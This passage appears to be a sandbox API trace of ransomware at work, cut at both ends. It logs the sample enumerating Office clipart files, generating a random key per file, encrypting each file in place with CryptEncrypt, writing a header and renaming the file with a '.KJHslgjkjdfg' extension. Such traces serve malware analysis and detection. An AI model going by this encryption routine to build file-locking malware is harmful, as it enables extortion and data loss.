hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.697] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.697] GetProcessHeap () returned 0x2a0000 [0154.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.697] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.697] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.697] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.697] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.697] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.697] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.697] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.697] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.697] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.698] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3d75, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3d75, lpOverlapped=0x0) returned 1 [0154.699] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d80) returned 1 [0154.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.699] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d80, lpOverlapped=0x0) returned 1 [0154.699] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.699] SetEndOfFile (hFile=0x114) returned 1 [0154.701] GetProcessHeap () returned 0x2a0000 [0154.701] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.701] GetProcessHeap () returned 0x2a0000 [0154.701] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.kjhslgjkjdfg")) returned 1 [0154.702] CloseHandle (hObject=0x114) returned 1 [0154.702] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0154.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.703] GetProcessHeap () returned 0x2a0000 [0154.703] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.703] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.703] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0154.705] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.705] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.705] GetProcessHeap () returned 0x2a0000 [0154.705] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.705] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.705] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.705] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.705] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.705] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.705] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.705] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.706] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.706] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.706] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x32b6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x32b6, lpOverlapped=0x0) returned 1 [0154.706] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x32c0, dwBufLen=0x32c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x32c0) returned 1 [0154.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.707] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x32c0, lpOverlapped=0x0) returned 1 [0154.707] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.707] SetEndOfFile (hFile=0x114) returned 1 [0154.709] GetProcessHeap () returned 0x2a0000 [0154.709] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.709] GetProcessHeap () returned 0x2a0000 [0154.709] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.kjhslgjkjdfg")) returned 1 [0154.710] CloseHandle (hObject=0x114) returned 1 [0154.710] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0154.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.711] GetProcessHeap () returned 0x2a0000 [0154.711] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.711] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.712] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0154.769] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.769] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.769] GetProcessHeap () returned 0x2a0000 [0154.769] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.769] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.769] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.769] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.769] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.769] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.770] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.770] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.770] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.770] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.770] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.770] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.770] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x25ee, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x25ee, lpOverlapped=0x0) returned 1 [0154.784] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x25f0, dwBufLen=0x25f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x25f0) returned 1 [0154.784] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.784] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x25f0, lpOverlapped=0x0) returned 1 [0154.784] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.784] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x26c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.785] SetEndOfFile (hFile=0x114) returned 1 [0154.787] GetProcessHeap () returned 0x2a0000 [0154.787] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.787] GetProcessHeap () returned 0x2a0000 [0154.787] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.kjhslgjkjdfg")) returned 1 [0154.789] CloseHandle (hObject=0x114) returned 1 [0154.789] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0154.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.791] GetProcessHeap () returned 0x2a0000 [0154.791] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.791] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.791] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.795] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.795] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.795] GetProcessHeap () returned 0x2a0000 [0154.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.795] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.795] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.795] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.795] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.796] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.796] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.796] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.796] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2244, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2244, lpOverlapped=0x0) returned 1 [0154.797] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2250, dwBufLen=0x2250 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2250) returned 1 [0154.797] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.797] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2250, lpOverlapped=0x0) returned 1 [0154.798] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.798] SetEndOfFile (hFile=0x114) returned 1 [0154.800] GetProcessHeap () returned 0x2a0000 [0154.801] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.801] GetProcessHeap () returned 0x2a0000 [0154.801] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.kjhslgjkjdfg")) returned 1 [0154.802] CloseHandle (hObject=0x114) returned 1 [0154.802] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0154.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.803] GetProcessHeap () returned 0x2a0000 [0154.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.803] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.803] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0154.806] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.806] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.806] GetProcessHeap () returned 0x2a0000 [0154.806] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.806] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.806] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.806] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.806] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.806] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, 